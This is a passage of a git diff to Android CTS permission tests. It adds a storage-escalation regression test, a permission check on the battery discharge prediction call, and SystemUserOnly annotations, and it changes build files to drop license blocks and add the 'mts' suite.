index ce2fade..8661f2e 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -31,6 +31,7 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -164,6 +165,7 @@
 
     @SecurityTest
     @Test
+    @AppModeFull
     public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
         installApp("CtsAppThatRequestsPermissionAandB");
 
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionManagerNativeJniTest.java b/tests/tests/permission/src/android/permission/cts/PermissionManagerNativeJniTest.java
new file mode 100644
index 0000000..868b3d1
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/PermissionManagerNativeJniTest.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+@RunWith(GtestRunner.class)
+@TargetLibrary("permissionmanager_native_test")
+public class PermissionManagerNativeJniTest {}
+
diff --git a/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java b/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
index 0926a0f..ddf8b19 100644
--- a/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/PowerManagerServicePermissionTest.java
@@ -18,6 +18,8 @@
 import android.os.PowerManager;
 import android.test.AndroidTestCase;
 
+import java.time.Duration;
+
 public class PowerManagerServicePermissionTest extends AndroidTestCase {
 
     public void testSetBatterySaver_requiresPermissions() {
@@ -42,7 +44,7 @@
         }
     }
 
-    public void testsetDynamicPowerSavings_requiresPermissions() {
+    public void testSetDynamicPowerSavings_requiresPermissions() {
         try {
             PowerManager manager = getContext().getSystemService(PowerManager.class);
             manager.setDynamicPowerSaveHint(true, 0);
@@ -51,4 +53,15 @@
             // Expected Exception
         }
     }
+
+    public void testSetBatteryDischargePrediction_requiresPermissions() {
+        try {
+            PowerManager manager = getContext().getSystemService(PowerManager.class);
+            manager.setBatteryDischargePrediction(Duration.ofMillis(1000), false);
+            fail("Updating the discharge prediction requires the DEVICE_POWER"
+                    + " or BATTERY_PREDICTION permission");
+        } catch (SecurityException e) {
+            // Expected Exception
+        }
+    }
 }
diff --git a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
index b837976..61a1d23 100644
--- a/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SplitPermissionTest.java
@@ -18,10 +18,8 @@
 
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
-import static android.Manifest.permission.ACCESS_MEDIA_LOCATION;
 import static android.Manifest.permission.READ_CALL_LOG;
 import static android.Manifest.permission.READ_CONTACTS;
-import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
 import static android.app.AppOpsManager.MODE_FOREGROUND;
 import static android.content.pm.PackageManager.FLAG_PERMISSION_REVIEW_REQUIRED;
 import static android.content.pm.PackageManager.FLAG_PERMISSION_USER_SET;
@@ -44,6 +42,7 @@
 import android.app.UiAutomation;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.FlakyTest;
+import android.platform.test.annotations.SystemUserOnly;
 
 import androidx.annotation.NonNull;
 import androidx.test.InstrumentationRegistry;
@@ -85,6 +84,8 @@
             TMP_DIR + "CtsAppThatRequestsLocationPermission28.apk";
     private static final String APK_LOCATION_22 =
             TMP_DIR + "CtsAppThatRequestsLocationPermission22.apk";
+    private static final String APK_LOCATION_BACKGROUND_28 =
+            TMP_DIR + "CtsAppThatRequestsLocationAndBackgroundPermission28.apk";
     private static final String APK_LOCATION_BACKGROUND_29 =
             TMP_DIR + "CtsAppThatRequestsLocationAndBackgroundPermission29.apk";
     private static final String APK_SHARED_UID_LOCATION_29 =
@@ -233,6 +234,7 @@
      * implicitly due to splits.
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void nonInheritedStateLowTargetSDKPreM() throws Exception {
         install(APK_CONTACTS_15);
 
@@ -270,22 +272,6 @@
      * If a permission was granted before the split happens, the new permission should inherit the
      * granted state.
      *
-     * This is a duplicate of {@link #inheritGrantedPermissionState} but for the storage permission
-     */
-    @Test
-    public void inheritGrantedPermissionStateStorage() throws Exception {
-        install(APK_STORAGE_29);
-        grantPermission(APP_PKG, READ_EXTERNAL_STORAGE);
-
-        install(APK_STORAGE_28);
-
-        assertPermissionGranted(ACCESS_MEDIA_LOCATION);
-    }
-
-    /**
-     * If a permission was granted before the split happens, the new permission should inherit the
-     * granted state.
-     *
      * <p>App using a shared uid
      */
     @Test
@@ -341,6 +327,7 @@
      * <p>(Pre-M version of test)
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void inheritGrantedPermissionStatePreM() throws Exception {
         install(APK_CONTACTS_16);
 
@@ -408,6 +395,7 @@
      * <p>(Pre-M version of test)
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void grantNewSplitPermissionStatePreM() throws Exception {
         install(APK_CONTACTS_15);
         revokePermission(APP_PKG, READ_CONTACTS);
@@ -484,10 +472,33 @@
     }
 
     /**
+     * An implicit permission should get revoked when the app gets updated and now requests the
+     * permission. This even happens if the app is not targeting the SDK the permission was split
+     * in.
+     */
+    @Test
+    public void newPermissionGetRevokedOnUpgradeBeforeSplitSDK() throws Exception {
+        install(APK_LOCATION_28);
+
+        // Background permission can only be granted together with foreground permission
+        grantPermission(APP_PKG, ACCESS_COARSE_LOCATION);
+        grantPermission(APP_PKG, ACCESS_BACKGROUND_LOCATION);
+
+        // Background location was introduced in SDK 29. Hence an app targeting 28 is usually
+        // unaware of this permission. If the app declares that it is aware by adding the permission
+        // in the manifest the permission will get revoked. This allows the app to request the
+        // permission from the user.
+        install(APK_LOCATION_BACKGROUND_28);
+
+        assertPermissionRevoked(ACCESS_BACKGROUND_LOCATION);
+    }
+
+    /**
      * An implicit permission should <u>not</u> get revoked when the app gets updated as pre-M apps
      * cannot deal with revoked permissions. Hence only the user should ever explicitly do that.
      */
     @Test
+    @SystemUserOnly(reason = "Secondary users have the DISALLOW_OUTGOING_CALLS user restriction")
     public void newPermissionGetRevokedOnUpgradePreM() throws Exception {
         install(APK_CONTACTS_15);
 
diff --git a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
new file mode 100644
index 0000000..00d4b40
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.Manifest.permission.ACCESS_MEDIA_LOCATION
+import android.Manifest.permission.READ_EXTERNAL_STORAGE
+import android.Manifest.permission.WRITE_EXTERNAL_STORAGE
+import android.app.Instrumentation
+import android.app.UiAutomation
+import android.content.Context
+import android.content.pm.PackageManager
+import android.platform.test.annotations.AppModeFull
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert
+import org.junit.Before
+import org.junit.Test
+
+@AppModeFull
+class StorageEscalationTest {
+    companion object {
+        private const val APK_DIRECTORY = "/data/local/tmp/cts/permissions"
+        const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsStorageEscalationApp28.apk"
+        const val APP_APK_PATH_29_SCOPED = "$APK_DIRECTORY/CtsStorageEscalationApp29Scoped.apk"
+        const val APP_APK_PATH_29_FULL = "$APK_DIRECTORY/CtsStorageEscalationApp29Full.apk"
+        const val APP_PACKAGE_NAME = "android.permission3.cts.storageescalation"
+        const val DELAY_TIME_MS: Long = 200
+        val permissions = listOf<String>(READ_EXTERNAL_STORAGE, WRITE_EXTERNAL_STORAGE,
+            ACCESS_MEDIA_LOCATION)
+    }
+
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context: Context = instrumentation.context
+    private val uiAutomation: UiAutomation = instrumentation.uiAutomation
+
+    @Before
+    @After
+    fun uninstallApp() {
+        SystemUtil.runShellCommand("pm uninstall $APP_PACKAGE_NAME")
+    }
+
+    private fun installPackage(apk: String) {
+        SystemUtil.runShellCommand("pm install -r $apk")
+    }
+
+    private fun grantStoragePermissions() {
+        for (permName in permissions) {
+            uiAutomation.grantRuntimePermission(APP_PACKAGE_NAME, permName)
+        }
+    }
+
+    private fun assertStoragePermissionState(granted: Boolean) {
+        for (permName in permissions) {
+            Assert.assertEquals(granted, context.packageManager.checkPermission(permName,
+                APP_PACKAGE_NAME) == PackageManager.PERMISSION_GRANTED)
+        }
+    }
+
+    @Test
+    fun testCannotEscalateWithSdkDowngrade() {
+        runStorageEscalationTest(APP_APK_PATH_29_SCOPED, APP_APK_PATH_28)
+    }
+
+    @Test
+    fun testCannotEscalateWithNewManifestLegacyRequest() {
+        runStorageEscalationTest(APP_APK_PATH_29_SCOPED, APP_APK_PATH_29_FULL)
+    }
+
+    private fun runStorageEscalationTest(startPackageApk: String, finishPackageApk: String) {
+        installPackage(startPackageApk)
+        grantStoragePermissions()
+        assertStoragePermissionState(granted = true)
+        installPackage(finishPackageApk)
+        // permission revoke is async, so wait a short period
+        Thread.sleep(DELAY_TIME_MS)
+        assertStoragePermissionState(granted = false)
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
index d293c70..2843d75 100644
--- a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -47,6 +47,7 @@
     private var mContext: Context? = null
     private var mPm: PackageManager? = null
     private var mAllowButtonText: Pattern? = null
+    private var mDenyButtonText: Pattern? = null
 
     @Before
     fun install() {
@@ -68,6 +69,12 @@
                                 "grant_dialog_button_allow", "string",
                                 "com.android.permissioncontroller")))),
                 Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
+        mDenyButtonText = Pattern.compile(
+                Pattern.quote(requireNotNull(permissionControllerResources?.getString(
+                        permissionControllerResources.getIdentifier(
+                                "grant_dialog_button_deny", "string",
+                                "com.android.permissioncontroller")))),
+                Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE)
     }
 
     @Before
@@ -153,7 +160,7 @@
             try {
                 if (mContext?.packageManager
                                 ?.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE) == true) {
-                    findAllowButton()
+                    waitFindObject(By.text(mDenyButtonText), 100)
                 } else {
                     waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
                 }
diff --git a/tests/tests/permission/telephony/Android.bp b/tests/tests/permission/telephony/Android.bp
index ed34dc8..5271260 100644
--- a/tests/tests/permission/telephony/Android.bp
+++ b/tests/tests/permission/telephony/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPermissionTestCasesTelephony",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     // Include both the 32 and 64 bit versions
     compile_multilib: "both",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
index aaa475e..66eefc4 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAdversarialPermissionDefinerApp",
     defaults: ["cts_defaults"],
@@ -26,6 +22,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
index 65a1174..7cb4b19 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/AdversarialPermissionUserApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAdversarialPermissionUserApp",
     defaults: ["cts_defaults"],
@@ -26,6 +22,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
index d02d8f5..e623ccb 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInstallPermissionDefinerApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
index 46c403a..ecf9428 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionEscalatorApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInstallPermissionEscalatorApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
index 0effe2c..67c2c6e 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstallPermissionUserApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsInstallPermissionUserApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
index fe50957..fb11810 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsRuntimePermissionDefinerApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey1",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
index eae7d63..e51e94e 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/RuntimePermissionUserApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsRuntimePermissionUserApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     certificate: ":cts-testkey2",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
index 89284fc..1350f47 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsVictimPermissionDefinerApp",
     defaults: ["cts_defaults"],
@@ -26,6 +22,7 @@
         "cts",
         "general-tests",
         "sts",
+        "mts",
     ],
     certificate: ":cts-testkey1",
 }
diff --git a/tests/tests/permission2/Android.bp b/tests/tests/permission2/Android.bp
index 7073057..37b9e94 100644
--- a/tests/tests/permission2/Android.bp
+++ b/tests/tests/permission2/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPermission2TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/AndroidTest.xml b/tests/tests/permission2/AndroidTest.xml
index 1bf1892..cc1bc7f 100644
--- a/tests/tests/permission2/AndroidTest.xml
+++ b/tests/tests/permission2/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
     <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
index 146bdce..ea9e86e 100644
--- a/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageIsolatedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLegacyStorageIsolatedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index c4bc761..c44004b 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLegacyStorageNotIsolatedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index 2373fc1..f3b9994 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLegacyStorageRestrictedSdk28WithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index 523f742..b0b486d 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLegacyStorageRestrictedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index 787cbae..ef1e160 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLocationPermissionsUserSdk22",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index 93c8b72..44e9af0 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsLocationPermissionsUserSdk29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index b864a4e..d1fc86a 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSMSCallLogPermissionsUserSdk22",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index d3a2e30..3246d76 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSMSCallLogPermissionsUserSdk29",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index ab90dba..34be9bf 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSMSNotRestrictedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index 8820ab7..305125a 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSMSRestrictedWithSharedUid",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp b/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
index 6c76c74..59e67ab 100644
--- a/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsPreservedUserOptOutSdk30/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsPreservedUserOptOutSdk30",
     defaults: ["cts_defaults"],
 
     sdk_version: "current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index bb817f7..8183468 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -14,11 +14,7 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk22",
     defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index 60cb316..738f20c 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -14,11 +14,7 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk28",
     defaults: ["cts_defaults"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index d3d016a..95f725b 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsStoragePermissionsUserDefaultSdk29",
     defaults: ["cts_defaults"],
 
     sdk_version: "29",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
index 751342e..f7a8281 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk30/Android.bp
@@ -14,13 +14,9 @@
 // limitations under the License.
 //
 
